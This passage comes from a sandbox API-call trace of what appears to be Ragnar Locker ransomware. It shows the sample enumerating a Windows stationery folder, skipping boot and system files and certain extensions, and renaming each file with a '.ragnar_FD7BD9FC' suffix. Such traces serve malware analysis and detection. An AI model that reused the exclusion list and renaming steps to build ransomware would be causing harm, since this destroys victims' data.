lstrcmpiW (lpString1="Shorthand.emf", lpString2="autorun.inf") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="boot.ini") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="bootfont.bin") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="bootsect.bak") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="bootmgr") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="bootmgr.efi") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="bootmgfw.efi") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="desktop.ini") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="iconcache.db") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="ntldr") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="ntuser.dat") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="ntuser.dat.log") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="ntuser.ini") returned 1 [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="thumbs.db") returned -1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0069.566] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0069.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0069.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.569] CloseHandle (hObject=0xffffffff) returned 0 [0069.569] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" [0069.569] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.ragnar_FD7BD9FC" [0069.569] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.569] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0069.569] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.569] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Small_News.jpg" | out: lpString1="Small_News.jpg") returned="Small_News.jpg" [0069.569] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned=".jpg" [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="autorun.inf") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="boot.ini") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="bootfont.bin") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="bootsect.bak") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="bootmgr") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="bootmgr.efi") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="bootmgfw.efi") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="desktop.ini") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="iconcache.db") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="ntldr") returned 1 [0069.569] lstrcmpiW (lpString1="Small_News.jpg", lpString2="ntuser.dat") returned 1 [0069.570] lstrcmpiW (lpString1="Small_News.jpg", lpString2="ntuser.dat.log") returned 1 [0069.570] lstrcmpiW (lpString1="Small_News.jpg", lpString2="ntuser.ini") returned 1 [0069.570] lstrcmpiW (lpString1="Small_News.jpg", lpString2="thumbs.db") returned -1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.570] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0069.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.570] CloseHandle (hObject=0xffffffff) returned 0 [0069.570] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" [0069.570] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.ragnar_FD7BD9FC" [0069.570] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0069.570] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.570] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Soft Blue.htm" | out: lpString1="Soft Blue.htm") returned="Soft Blue.htm" [0069.570] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned=".htm" [0069.570] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.570] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="autorun.inf") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="boot.ini") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootfont.bin") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootsect.bak") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootmgr") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootmgr.efi") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootmgfw.efi") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="desktop.ini") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="iconcache.db") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ntldr") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ntuser.dat") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ntuser.dat.log") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ntuser.ini") returned 1 [0069.571] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="thumbs.db") returned -1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.571] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0069.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.573] CloseHandle (hObject=0xffffffff) returned 0 [0069.573] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" [0069.573] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.ragnar_FD7BD9FC" [0069.573] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.573] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0069.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.573] lstrcpyW (in: lpString1=0x1eb63c, lpString2="SoftBlue.jpg" | out: lpString1="SoftBlue.jpg") returned="SoftBlue.jpg" [0069.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned=".jpg" [0069.573] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.573] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="autorun.inf") returned 1 [0069.573] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="boot.ini") returned 1 [0069.573] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootfont.bin") returned 1 [0069.573] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootsect.bak") returned 1 [0069.573] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootmgr") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootmgr.efi") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootmgfw.efi") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="desktop.ini") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="iconcache.db") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ntldr") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ntuser.dat") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ntuser.dat.log") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ntuser.ini") returned 1 [0069.574] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="thumbs.db") returned -1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0069.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.576] CloseHandle (hObject=0xffffffff) returned 0 [0069.576] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" [0069.576] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.ragnar_FD7BD9FC" [0069.576] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.576] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0069.576] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.576] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Stars.htm" | out: lpString1="Stars.htm") returned="Stars.htm" [0069.576] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned=".htm" [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="autorun.inf") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="boot.ini") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="bootfont.bin") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="bootsect.bak") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="bootmgr") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="bootmgr.efi") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="bootmgfw.efi") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="desktop.ini") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="iconcache.db") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="ntldr") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="ntuser.dat") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="ntuser.dat.log") returned 1 [0069.576] lstrcmpiW (lpString1="Stars.htm", lpString2="ntuser.ini") returned 1 [0069.577] lstrcmpiW (lpString1="Stars.htm", lpString2="thumbs.db") returned -1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.577] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0069.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.577] CloseHandle (hObject=0xffffffff) returned 0 [0069.577] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" [0069.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.ragnar_FD7BD9FC" [0069.577] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.577] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0069.577] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.577] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Stars.jpg" | out: lpString1="Stars.jpg") returned="Stars.jpg" [0069.577] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned=".jpg" [0069.577] lstrcmpiW (lpString1="Stars.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.577] lstrcmpiW (lpString1="Stars.jpg", lpString2="autorun.inf") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="boot.ini") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootfont.bin") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootsect.bak") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootmgr") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootmgr.efi") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootmgfw.efi") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="desktop.ini") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="iconcache.db") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="ntldr") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="ntuser.dat") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="ntuser.dat.log") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="ntuser.ini") returned 1 [0069.578] lstrcmpiW (lpString1="Stars.jpg", lpString2="thumbs.db") returned -1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.578] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0069.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.580] CloseHandle (hObject=0xffffffff) returned 0 [0069.580] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" [0069.580] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.ragnar_FD7BD9FC" [0069.581] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft 